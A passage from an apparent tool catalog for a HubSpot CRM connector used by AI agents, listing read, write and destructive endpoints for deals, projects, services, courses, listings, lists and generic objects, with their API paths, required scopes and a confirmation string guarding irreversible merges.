OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/objects/2026-03/subscriptions/search on api.hubapi.com. Requires the HubSpot scope crm.objects.subscriptions.read. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions/search. Scopes: crm.objects.subscriptions.read. hubspot_post_crm_objects_v3_deals_splits_batch_read (read) — Read a batch of deal split objects by their associated deal object internal ID. Deal splits divide a deal's credit between owners. Calls POST /crm/objects/v3/deals/splits/batch/read on api.hubapi.com. Requires the HubSpot scope crm.dealsplits.read_write. POST /api/v1/hubspot/crm/objects/v3/deals/splits/batch/read. Scopes: crm.dealsplits.read_write. hubspot_post_crm_objects_v3_deals_splits_batch_upsert (write) — Create or replace deal splits for deals with the provided IDs. Deal split percentages for each deal must sum up to 1.0 (100%) and may have up to 8 decimal places. Deal splits divide a deal's credit between owners. Calls POST /crm/objects/v3/deals/splits/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.dealsplits.read_write. POST /api/v1/hubspot/crm/objects/v3/deals/splits/batch/upsert. Scopes: crm.dealsplits.read_write. hubspot_post_crm_objects_v3_projects (write) — Create. Create a project with the given properties and return a copy of the object, including the ID. Projects are the Service Hub project object. Calls POST /crm/objects/v3/projects on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. POST /api/v1/hubspot/crm/objects/v3/projects. Scopes: crm.objects.projects.write. hubspot_post_crm_objects_v3_projects_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of projects. Archive multiple projects using their IDs. Projects are the Service Hub project object. The inverse is the batch create on the same object family. Calls POST /crm/objects/v3/projects/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. POST /api/v1/hubspot/crm/objects/v3/projects/batch/archive. Scopes: crm.objects.projects.write. hubspot_post_crm_objects_v3_projects_batch_create (write) — Create a batch of projects. Create multiple projects in a single request. Projects are the Service Hub project object. Calls POST /crm/objects/v3/projects/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. POST /api/v1/hubspot/crm/objects/v3/projects/batch/create. Scopes: crm.objects.projects.write. hubspot_post_crm_objects_v3_projects_batch_read (read) — Read a batch of projects. Retrieve records by record ID or include the idProperty parameter to retrieve records by a custom unique value property. Projects are the Service Hub project object. Calls POST /crm/objects/v3/projects/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.read. POST /api/v1/hubspot/crm/objects/v3/projects/batch/read. Scopes: crm.objects.projects.read. hubspot_post_crm_objects_v3_projects_batch_update (write) — Update a batch of projects. Update multiple projects using their internal IDs or unique property values. Projects are the Service Hub project object. Calls POST /crm/objects/v3/projects/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. POST /api/v1/hubspot/crm/objects/v3/projects/batch/update. Scopes: crm.objects.projects.write. hubspot_post_crm_objects_v3_projects_batch_upsert (write) — Create or update a batch of projects. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Projects are the Service Hub project object. Calls POST /crm/objects/v3/projects/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. POST /api/v1/hubspot/crm/objects/v3/projects/batch/upsert. Scopes: crm.objects.projects.write. hubspot_post_crm_objects_v3_projects_merge (write, destructive) — DESTRUCTIVE. Merge two projects. Merge two project records. Learn more about [merging records](https://knowledge.hubspot.com/records/merge-records). Projects are the Service Hub project object. There is NO un-merge. HubSpot cannot separate merged records afterwards. Requires confirm="merge-records-irreversibly" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/objects/v3/projects/merge on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. POST /api/v1/hubspot/crm/objects/v3/projects/merge. Scopes: crm.objects.projects.write. hubspot_post_crm_objects_v3_projects_search (read) — Search for projects. Search for projects by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Projects are the Service Hub project object. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/objects/v3/projects/search on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.read. POST /api/v1/hubspot/crm/objects/v3/projects/search. Scopes: crm.objects.projects.read. hubspot_post_crm_v3_exports_export_async (write) — Start an export. Begins exporting CRM data for the portal as specified in the request body Bulk export jobs for CRM data. Calls POST /crm/v3/exports/export/async on api.hubapi.com. Requires the HubSpot scope crm.export. POST /api/v1/hubspot/crm/v3/exports/export/async. Scopes: crm.export. hubspot_post_crm_v3_extensions_calling_inbound_call (write) — Call transcription records and their text. Calls POST /crm/v3/extensions/calling/inbound-call on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/extensions/calling/inbound-call. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_extensions_calling_transcripts (write) — Call transcription records and their text. Calls POST /crm/v3/extensions/calling/transcripts on api.hubapi.com. Requires the HubSpot scope crm.extensions_calling_transcripts.write. POST /api/v1/hubspot/crm/v3/extensions/calling/transcripts. Scopes: crm.extensions_calling_transcripts.write. hubspot_post_crm_v3_imports (write) — Bulk import jobs: start one, watch it, read its errors. The error read is the diagnostic that turns a failed import from a status into a cause. Calls POST /crm/v3/imports on api.hubapi.com. Requires the HubSpot scope crm.import. POST /api/v1/hubspot/crm/v3/imports. Scopes: crm.import. hubspot_post_crm_v3_imports_by_importid_cancel (write) — Cancel an active import. This allows a developer to cancel an active import. Bulk import jobs: start one, watch it, read its errors. The error read is the diagnostic that turns a failed import from a status into a cause. Calls POST /crm/v3/imports/{importId}/cancel on api.hubapi.com. Requires the HubSpot scope crm.import. POST /api/v1/hubspot/crm/v3/imports/{importId}/cancel. Scopes: crm.import. hubspot_post_crm_v3_lists (write) — Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls POST /crm/v3/lists on api.hubapi.com. Requires the HubSpot scope crm.lists.write. POST /api/v1/hubspot/crm/v3/lists. Scopes: crm.lists.write. hubspot_post_crm_v3_lists_folders (write) — Creates a folder. Creates a folder with the given information. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls POST /crm/v3/lists/folders on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. POST /api/v1/hubspot/crm/v3/lists/folders. Scopes: crm.lists.read, crm.lists.write. hubspot_post_crm_v3_lists_idmapping (read) — Translate Legacy List Id to Modern List Id in Batch. This API allows translation of a batch of legacy list id's to list id's. This allows for a maximum of 10,000 id's. This is a temporary API allowed for mapping old id's to new id's and will expire on May 30th, 2025. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls POST /crm/v3/lists/idmapping on api.hubapi.com. Requires the HubSpot scope crm.lists.read. POST /api/v1/hubspot/crm/v3/lists/idmapping. Scopes: crm.lists.read. hubspot_post_crm_v3_lists_records_memberships_batch_read (read) — Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls POST /crm/v3/lists/records/memberships/batch/read on api.hubapi.com. Requires the HubSpot scope crm.lists.read. POST /api/v1/hubspot/crm/v3/lists/records/memberships/batch/read. Scopes: crm.lists.read. hubspot_post_crm_v3_lists_search (read) — Search Lists. Search lists by list name or page through all lists by providing an empty `query` value. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/lists/search on api.hubapi.com. Requires the HubSpot scope crm.lists.read. POST /api/v1/hubspot/crm/v3/lists/search. Scopes: crm.lists.read. hubspot_post_crm_v3_objects_0_162 (write) — Create. Create a service with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard services is provided. Services are the service object type. Calls POST /crm/v3/objects/0-162 on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. POST /api/v1/hubspot/crm/v3/objects/0-162. Scopes: crm.objects.services.write. hubspot_post_crm_v3_objects_0_162_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of services by ID. Archive a batch of objects Services are the service object type. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/0-162/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. POST /api/v1/hubspot/crm/v3/objects/0-162/batch/archive. Scopes: crm.objects.services.write. hubspot_post_crm_v3_objects_0_162_batch_create (write) — Create a batch of services. Create a batch of objects Services are the service object type. Calls POST /crm/v3/objects/0-162/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. POST /api/v1/hubspot/crm/v3/objects/0-162/batch/create. Scopes: crm.objects.services.write. hubspot_post_crm_v3_objects_0_162_batch_read (read) — Read a batch of services by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Services are the service object type. Calls POST /crm/v3/objects/0-162/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.services.read. POST /api/v1/hubspot/crm/v3/objects/0-162/batch/read. Scopes: crm.objects.services.read. hubspot_post_crm_v3_objects_0_162_batch_update (write) — Update a batch of services by internal ID, or unique property values. Update a batch of objects Services are the service object type. Calls POST /crm/v3/objects/0-162/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. POST /api/v1/hubspot/crm/v3/objects/0-162/batch/update. Scopes: crm.objects.services.write. hubspot_post_crm_v3_objects_0_162_batch_upsert (write) — Create or update a batch of services by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Services are the service object type. Calls POST /crm/v3/objects/0-162/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.services.write. POST /api/v1/hubspot/crm/v3/objects/0-162/batch/upsert. Scopes: crm.objects.services.write. hubspot_post_crm_v3_objects_0_162_search (read) — Search across objects. Fetch objects via a search query Services are the service object type. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/0-162/search on api.hubapi.com. Requires the HubSpot scope crm.objects.services.read. POST /api/v1/hubspot/crm/v3/objects/0-162/search. Scopes: crm.objects.services.read. hubspot_post_crm_v3_objects_0_3 (write) — Create. Create a deal with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard deals is provided. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls POST /crm/v3/objects/0-3 on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. POST /api/v1/hubspot/crm/v3/objects/0-3. Scopes: crm.objects.deals.write. hubspot_post_crm_v3_objects_0_3_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of deals by ID. Archive multiple deals using their IDs. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/0-3/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. POST /api/v1/hubspot/crm/v3/objects/0-3/batch/archive. Scopes: crm.objects.deals.write. hubspot_post_crm_v3_objects_0_3_batch_create (write) — Create a batch of deals. Create multiple deals in a single request. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls POST /crm/v3/objects/0-3/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. POST /api/v1/hubspot/crm/v3/objects/0-3/batch/create. Scopes: crm.objects.deals.write. hubspot_post_crm_v3_objects_0_3_batch_read (read) — Read a batch of deals by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls POST /crm/v3/objects/0-3/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.read. POST /api/v1/hubspot/crm/v3/objects/0-3/batch/read. Scopes: crm.objects.deals.read. hubspot_post_crm_v3_objects_0_3_batch_update (write) — Update a batch of deals by internal ID, or unique property values. Update multiple deals using their internal IDs or unique property values. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls POST /crm/v3/objects/0-3/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. POST /api/v1/hubspot/crm/v3/objects/0-3/batch/update. Scopes: crm.objects.deals.write. hubspot_post_crm_v3_objects_0_3_batch_upsert (write) — Create or update a batch of deals by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls POST /crm/v3/objects/0-3/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. POST /api/v1/hubspot/crm/v3/objects/0-3/batch/upsert. Scopes: crm.objects.deals.write. hubspot_post_crm_v3_objects_0_3_merge (write, destructive) — DESTRUCTIVE. Merge two deals with same type. Combine two deals of the same type into a single deal. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. There is NO un-merge. HubSpot cannot separate merged records afterwards. Requires confirm="merge-records-irreversibly" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/v3/objects/0-3/merge on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.write. POST /api/v1/hubspot/crm/v3/objects/0-3/merge. Scopes: crm.objects.deals.write. hubspot_post_crm_v3_objects_0_3_search (read) — Search for deals using various filters and criteria to retrieve specific records. Search for deals using specified criteria and filters. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/0-3/search on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.read. POST /api/v1/hubspot/crm/v3/objects/0-3/search. Scopes: crm.objects.deals.read. hubspot_post_crm_v3_objects_0_410 (write) — Create. Create a course with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard courses is provided. Courses are the education object type. Calls POST /crm/v3/objects/0-410 on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. POST /api/v1/hubspot/crm/v3/objects/0-410. Scopes: crm.objects.courses.write. hubspot_post_crm_v3_objects_0_410_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of courses by ID. Archive a batch of objects Courses are the education object type. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/0-410/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. POST /api/v1/hubspot/crm/v3/objects/0-410/batch/archive. Scopes: crm.objects.courses.write. hubspot_post_crm_v3_objects_0_410_batch_create (write) — Create a batch of courses. Create a batch of objects Courses are the education object type. Calls POST /crm/v3/objects/0-410/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. POST /api/v1/hubspot/crm/v3/objects/0-410/batch/create. Scopes: crm.objects.courses.write. hubspot_post_crm_v3_objects_0_410_batch_read (read) — Read a batch of courses by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Courses are the education object type. Calls POST /crm/v3/objects/0-410/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.read. POST /api/v1/hubspot/crm/v3/objects/0-410/batch/read. Scopes: crm.objects.courses.read. hubspot_post_crm_v3_objects_0_410_batch_update (write) — Update a batch of courses by internal ID, or unique property values. Update a batch of objects Courses are the education object type. Calls POST /crm/v3/objects/0-410/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. POST /api/v1/hubspot/crm/v3/objects/0-410/batch/update. Scopes: crm.objects.courses.write. hubspot_post_crm_v3_objects_0_410_batch_upsert (write) — Create or update a batch of courses by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Courses are the education object type. Calls POST /crm/v3/objects/0-410/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.write. POST /api/v1/hubspot/crm/v3/objects/0-410/batch/upsert. Scopes: crm.objects.courses.write. hubspot_post_crm_v3_objects_0_410_search (read) — Search for objects. Fetch objects using a search query Courses are the education object type. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/0-410/search on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.read. POST /api/v1/hubspot/crm/v3/objects/0-410/search. Scopes: crm.objects.courses.read. hubspot_post_crm_v3_objects_0_420 (write) — Create. Create a listing with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard listings is provided. Listings are the real-estate object type. Calls POST /crm/v3/objects/0-420 on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. POST /api/v1/hubspot/crm/v3/objects/0-420. Scopes: crm.objects.listings.write. hubspot_post_crm_v3_objects_0_420_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of listings by ID. Archive multiple listings by their IDs. Listings are the real-estate object type. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/0-420/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. POST /api/v1/hubspot/crm/v3/objects/0-420/batch/archive. Scopes: crm.objects.listings.write. hubspot_post_crm_v3_objects_0_420_batch_create (write) — Create a batch of listings. Create multiple listings in a single request. Listings are the real-estate object type. Calls POST /crm/v3/objects/0-420/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. POST /api/v1/hubspot/crm/v3/objects/0-420/batch/create. Scopes: crm.objects.listings.write. hubspot_post_crm_v3_objects_0_420_batch_read (read) — Read a batch of listings by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Listings are the real-estate object type. Calls POST /crm/v3/objects/0-420/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.read. POST /api/v1/hubspot/crm/v3/objects/0-420/batch/read. Scopes: crm.objects.listings.read. hubspot_post_crm_v3_objects_0_420_batch_update (write) — Update a batch of listings by internal ID, or unique property values. Update multiple listings using their internal IDs or unique property values. Listings are the real-estate object type. Calls POST /crm/v3/objects/0-420/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. POST /api/v1/hubspot/crm/v3/objects/0-420/batch/update. Scopes: crm.objects.listings.write. hubspot_post_crm_v3_objects_0_420_batch_upsert (write) — Create or update a batch of listings by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Listings are the real-estate object type. Calls POST /crm/v3/objects/0-420/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.write. POST /api/v1/hubspot/crm/v3/objects/0-420/batch/upsert. Scopes: crm.objects.listings.write. hubspot_post_crm_v3_objects_0_420_search (read) — Search for listings using various criteria and filters. Execute a search query to find listings based on specified filters and properties. Listings are the real-estate object type. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/0-420/search on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.read. POST /api/v1/hubspot/crm/v3/objects/0-420/search. Scopes: crm.objects.listings.read. hubspot_post_crm_v3_objects_by_objecttype (write) — Create. Create a CRM object with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard objects is provided. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls POST /crm/v3/objects/{objectType} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v3/objects/{objectType}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v3_objects_by_objecttype_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of objects by ID. Archive a batch of objects by their unique IDs. This operation moves the specified objects to the recycling bin, effectively marking them as archived. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/{objectType}/batch/archive on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v3/objects/{objectType}/batch/archive. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v3_objects_by_objecttype_batch_create (write) — Create a batch of objects. Create multiple CRM objects in a single request by specifying the object type and providing the necessary properties and associations for each object. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls POST /crm/v3/objects/{objectType}/batch/create on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v3/objects/{objectType}/batch/create. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v3_objects_by_objecttype_batch_read (read) — Read a batch of objects by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls POST /crm/v3/objects/{objectType}/batch/read on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. POST /api/v1/hubspot/crm/v3/objects/{objectType}/batch/read. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_post_crm_v3_objects_by_objecttype_batch_update (write) — Update a batch of objects by internal ID, or unique property values. Update a batch of CRM objects by their internal IDs or unique property values, allowing for efficient modifications of multiple records in a single request. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls POST /crm/v3/objects/{objectType}/batch/update on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v3/objects/{objectType}/batch/update. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v3_objects_by_objecttype_batch_upsert (write) — Create or update a batch of objects by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls POST /crm/v3/objects/{objectType}/batch/upsert on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v3/objects/{objectType}/batch/upsert. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v3_objects_by_objecttype_merge (write, destructive) — DESTRUCTIVE. Merge two objects with same type. Merge two CRM objects of the same type by specifying one as the primary object and the other as the object to be merged into it. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. There is NO un-merge. HubSpot cannot separate merged records afterwards. Requires confirm="merge-records-irreversibly" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/v3/objects/{objectType}/merge on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/v3/objects/{objectType}/merge. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_v3_objects_by_objecttype_search (read) — Search for CRM objects of a specified type. Execute a search query to find CRM objects of a given type, using specified filters and properties. The search can be customized with filters, sorting, and pagination options. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an 